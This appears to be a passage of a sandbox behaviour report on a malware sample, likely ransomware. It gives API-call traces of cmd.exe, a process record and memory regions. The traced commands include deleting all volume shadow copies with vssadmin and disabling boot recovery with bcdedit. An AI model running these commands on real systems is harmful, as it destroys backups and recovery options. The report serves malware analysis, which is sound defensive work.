lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.753] InitializeProcThreadAttributeList (in: lpAttributeList=0xbd41d1f540, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbd41d1f440 | out: lpAttributeList=0xbd41d1f540, lpSize=0xbd41d1f440) returned 1 [0030.753] UpdateProcThreadAttribute (in: lpAttributeList=0xbd41d1f540, dwFlags=0x0, Attribute=0x60001, lpValue=0xbd41d1f428, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbd41d1f540, lpPreviousValue=0x0) returned 1 [0030.754] GetStartupInfoW (in: lpStartupInfo=0xbd41d1f4d0 | out: lpStartupInfo=0xbd41d1f4d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0030.754] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0030.754] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0030.756] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 4180649\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xbd41d1f460*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 4180649\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbd41d1f448 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" title 4180649\"", lpProcessInformation=0xbd41d1f448*(hProcess=0x54, hThread=0x50, dwProcessId=0x8fc, dwThreadId=0x90c)) returned 1 [0030.763] CloseHandle (hObject=0x50) returned 1 [0030.763] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0030.763] GetEnvironmentStringsW () returned 0xbd41d56b30* [0030.763] FreeEnvironmentStringsA (penv="=") returned 1 [0030.763] DeleteProcThreadAttributeList (in: lpAttributeList=0xbd41d1f540 | out: lpAttributeList=0xbd41d1f540) [0030.763] _get_osfhandle (_FileHandle=3) returned 0x44 [0030.763] DuplicateHandle (in: hSourceProcessHandle=0x54, hSourceHandle=0x44, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0030.763] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0030.763] _close (_FileHandle=5) returned 0 [0030.763] _dup (_FileHandle=0) returned 4 [0030.763] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0030.763] _close (_FileHandle=3) returned 0 [0030.764] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\vssadmin.exe")) returned 0xffffffff [0030.764] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0030.764] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0030.764] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0030.764] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0030.764] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0030.764] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0030.764] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0030.764] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0030.764] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0030.764] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0030.764] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0030.764] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0030.764] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0030.764] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0030.764] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0030.764] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0030.764] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0030.764] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0030.764] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0030.764] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0030.764] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0030.764] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0030.764] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0030.764] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0030.764] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0030.764] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0030.764] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0030.764] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0030.764] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0030.764] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0030.764] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0030.764] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0030.764] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0030.764] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0030.764] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0030.764] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0030.764] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0030.764] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0030.764] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0030.764] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0030.764] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0030.764] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0030.764] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0030.764] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0030.765] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0030.765] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0030.765] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0030.765] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0030.765] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0030.765] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0030.765] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0030.765] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0030.765] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0030.765] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0030.765] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0030.765] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0030.765] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0030.765] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0030.765] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0030.765] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0030.765] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0030.765] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0030.765] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0030.765] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0030.765] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0030.765] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0030.765] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0030.765] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0030.765] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0030.765] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0030.765] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0030.765] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0030.765] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0030.765] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0030.765] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0030.765] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0030.765] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0030.765] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0030.765] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0030.765] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0030.765] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0030.765] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0030.765] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0030.765] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0030.765] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0030.765] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0030.765] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="DIR") returned 18 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="ERASE") returned 17 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="DEL") returned 18 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="TYPE") returned 2 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="COPY") returned 19 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="CD") returned 19 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="CHDIR") returned 19 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="RENAME") returned 4 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="REN") returned 4 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="ECHO") returned 17 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="SET") returned 3 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="PAUSE") returned 6 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="DATE") returned 18 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="TIME") returned 2 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="PROMPT") returned 6 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="MD") returned 9 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="MKDIR") returned 9 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="RD") returned 4 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="RMDIR") returned 4 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="PATH") returned 6 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="GOTO") returned 15 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="SHIFT") returned 3 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="CLS") returned 19 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="CALL") returned 19 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="VERIFY") returned 14 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="VER") returned 14 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="VOL") returned 4 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="EXIT") returned 17 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="SETLOCAL") returned 3 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="ENDLOCAL") returned 17 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="TITLE") returned 2 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="START") returned 3 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="DPATH") returned 18 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="KEYS") returned 11 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="MOVE") returned 9 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="PUSHD") returned 6 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="POPD") returned 6 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="ASSOC") returned 21 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="FTYPE") returned 16 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="BREAK") returned 20 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="COLOR") returned 19 [0030.766] _wcsicmp (_String1="vssadmin.exe", _String2="MKLINK") returned 9 [0030.766] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0030.767] SetErrorMode (uMode=0x0) returned 0x0 [0030.767] SetErrorMode (uMode=0x1) returned 0x0 [0030.767] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xbd41d57f40, lpFilePart=0xbd41d1f5b0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop", lpFilePart=0xbd41d1f5b0*="Desktop") returned 0x1c [0030.767] SetErrorMode (uMode=0x0) returned 0x1 [0030.767] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff62316e100, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0030.767] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0030.767] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f330) returned 0xffffffffffffffff [0030.768] GetLastError () returned 0x2 [0030.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f330) returned 0xffffffffffffffff [0030.768] GetLastError () returned 0x2 [0030.768] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f330) returned 0xbd41d51140 [0030.768] FindClose (in: hFindFile=0xbd41d51140 | out: hFindFile=0xbd41d51140) returned 1 [0030.768] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0030.768] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0030.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f0c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f0c0) returned 0xffffffffffffffff [0030.768] GetLastError () returned 0x2 [0030.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f0c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f0c0) returned 0xffffffffffffffff [0030.768] GetLastError () returned 0x2 [0030.768] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0xbd41d1f0c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbd41d1f0c0) returned 0xbd41d51170 [0030.768] FindClose (in: hFindFile=0xbd41d51170 | out: hFindFile=0xbd41d51170) returned 1 [0030.768] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0030.768] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0030.768] GetConsoleTitleW (in: lpConsoleTitle=0xbd41d1f620, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0030.769] InitializeProcThreadAttributeList (in: lpAttributeList=0xbd41d1f540, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbd41d1f440 | out: lpAttributeList=0xbd41d1f540, lpSize=0xbd41d1f440) returned 1 [0030.769] UpdateProcThreadAttribute (in: lpAttributeList=0xbd41d1f540, dwFlags=0x0, Attribute=0x60001, lpValue=0xbd41d1f428, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbd41d1f540, lpPreviousValue=0x0) returned 1 [0030.769] GetStartupInfoW (in: lpStartupInfo=0xbd41d1f4d0 | out: lpStartupInfo=0xbd41d1f4d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0030.769] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1 [0030.769] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xbd41d1f460*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbd41d1f448 | out: lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0xbd41d1f448*(hProcess=0x50, hThread=0x44, dwProcessId=0x908, dwThreadId=0x928)) returned 1 [0030.846] CloseHandle (hObject=0x44) returned 1 [0030.846] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0030.846] GetEnvironmentStringsW () returned 0xbd41d56e90* [0030.846] FreeEnvironmentStringsA (penv="=") returned 1 [0030.846] DeleteProcThreadAttributeList (in: lpAttributeList=0xbd41d1f540 | out: lpAttributeList=0xbd41d1f540) [0030.846] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0030.846] _close (_FileHandle=4) returned 0 [0030.846] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0031.079] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0xbd41d1f8c8 | out: lpExitCode=0xbd41d1f8c8*=0x0) returned 1 [0031.079] CloseHandle (hObject=0x54) returned 1 [0031.080] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0033.499] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0xbd41d1f8c8 | out: lpExitCode=0xbd41d1f8c8*=0x0) returned 1 [0033.499] CloseHandle (hObject=0x50) returned 1 [0033.499] _get_osfhandle (_FileHandle=1) returned 0x1c [0033.499] SetConsoleMode (hConsoleHandle=0x1c, dwMode=0x3) returned 1 [0033.508] _get_osfhandle (_FileHandle=1) returned 0x1c [0033.508] GetConsoleMode (in: hConsoleHandle=0x1c, lpMode=0x7ff62316d150 | out: lpMode=0x7ff62316d150) returned 1 [0033.509] _get_osfhandle (_FileHandle=0) returned 0x18 [0033.509] GetConsoleMode (in: hConsoleHandle=0x18, lpMode=0x7ff62316d14c | out: lpMode=0x7ff62316d14c) returned 1 [0033.510] SetConsoleInputExeNameW () returned 0x1 [0033.510] GetConsoleOutputCP () returned 0x1b5 [0033.510] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff62317a120 | out: lpCPInfo=0x7ff62317a120) returned 1 [0033.510] SetThreadUILanguage (LangId=0x0) returned 0x409 [0033.511] exit (_Code=0) Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6a9d7000" os_pid = "0x9a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaa0" cmd_line = "C:\\Windows\\system32\\cmd.exe /C title 9538298|bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 921 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 922 start_va = 0x9a39f30000 end_va = 0x9a39f4ffff entry_point = 0x0 region_type = private name = "private_0x0000009a39f30000" filename = "" Region: id = 923 start_va = 0x9a39f50000 end_va = 0x9a39f5efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009a39f50000" filename = "" Region: id = 924 start_va = 0x9a39f60000 end_va = 0x9a3a05ffff entry_point = 0x0 region_type = private name = "private_0x0000009a39f60000" filename = "" Region: id = 925 start_va = 0x9a3a060000 end_va = 0x9a3a063fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009a3a060000" filename = "" Region: id = 926 start_va = 0x9a3a070000 end_va = 0x9a3a070fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009a3a070000" filename = "" Region: id = 927 start_va = 0x9a3a080000 end_va = 0x9a3a081fff entry_point = 0x0 region_type = private name = "private_0x0000009a3a080000" filename = "" Region: id = 928 start_va = 0x7ff622ca0000 end_va = 0x7ff622cc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622ca0000" filename = "" Region: id = 929 start_va = 0x7ff622ccd000 end_va = 0x7ff622ccefff entry_point = 0x0 region_type = private name = "private_0x00007ff622ccd000" filename = "" Region: id = 930 start_va = 0x7ff622ccf000 end_va = 0x7ff622ccffff entry_point = 0x0 region_type = private name = "private_0x00007ff622ccf000" filename = "" Region: id = 931 start_va = 0x7ff623140000 end_va = 0x7ff62319afff entry_point = 0x7ff6231465b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 932 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 948 start_va = 0x9a3a230000 end_va = 0x9a3a32ffff entry_point = 0x0 region_type = private name = "private_0x0000009a3a230000" filename = "" Region: id = 949 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 950 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1219 start_va = 0x9a39f30000 end_va = 0x9a39f3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000009a39f30000" filename = "" Region: id = 1220 start_va = 0x9a39f40000 end_va = 0x9a39f4ffff entry_point = 0x0 region_type = private name = "private_0x0000009a39f40000" filename = "" Region: id = 1221 start_va = 0x9a3a090000 end_va = 0x9a3a10dfff entry_point = 0x9a3a090000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1222 start_va = 0x9a3a110000 end_va = 0x9a3a116fff entry_point = 0x0 region_type = private name = "private_0x0000009a3a110000" filename = "" Region: id = 1223 start_va = 0x7ff622ba0000 end_va = 0x7ff622c9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff622ba0000" filename = "" Region: id = 1224 start_va = 0x7ffe2a8b0000 end_va = 